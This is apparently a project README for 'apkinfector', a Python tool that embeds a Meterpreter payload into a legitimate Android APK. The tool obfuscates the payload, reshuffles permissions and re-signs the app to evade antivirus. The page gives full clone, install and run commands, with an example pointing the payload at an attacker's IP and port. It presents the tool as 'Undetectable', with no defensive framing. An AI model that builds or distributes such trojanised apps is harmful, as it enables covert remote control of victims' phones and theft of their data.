Advanced Android Antivirus Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK & can completely ofusticate the meterpreter payload with different techniques.
Features
- Fully Automate Payload Creation Using MSFvenom
- Creates a handler.rc File
- Undetectable
- Ofusticate Meterpreter APK
- Binds/Embeds Meterpreter APK with Any Legitimate APK
- Automatically Generates a Key which is used in signing
- Capable to Sign APK Using Jarsigner or APKsigner
- Zipalign the Signed APK
- Shuffles the Permissions of Meterpreter APK for AV Evasion
- Changes the default foldername and filenames which are being flagged by AV
Tools Overview
Prerequisite
- Python 3.X
- APKsigner or Jarsigner [One of them]
- APK Tool [Latest]
- ZipAlign
Tested On: Kali Linux – 2019.4
Installation & Usage
- Navigate to the /opt directory (optional)
cd /opt/
- Clone this repository
git clone https://github.com/PushpenderIndia/apkinfector.git
- Navigate to apkinfector folder
cd apkinfector
- Installing dependencies
apt-get update && apt-get install apktool && apt-get install zipalign && apt-get install apksigner
- Running the Tool for 1st Time
python3 infector.py --help
- Usage Example
python3 infector.py --lhost 192.168.43.70 --lport 4444 --apk-name NEW_APK_NAME --normal-apk /root/Desktop/Path/TO/Legitemate_APK_File.apk
Available Arguments
- Optional Arguments
Short Hand | Full Hand | Description |
---|---|---|
-h | –help | show this help message and exit |
- Required Arguments
Short Hand | Full Hand | Description |
---|---|---|
–lhost 192.168.44.33 | Attacker’s IP Address | |
–lport 4444 | Attacker’s Port | |
-n NORMAL_APK | –normal-apk NORMAL_APK | Absolute Path of Legitimate APK File |
–apk-name APKNAME | APK Name (Anything You Want To Name) |
Dark Mode
apkinfector (this link opens in a new window) by PushpenderIndia (this link opens in a new window)
Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK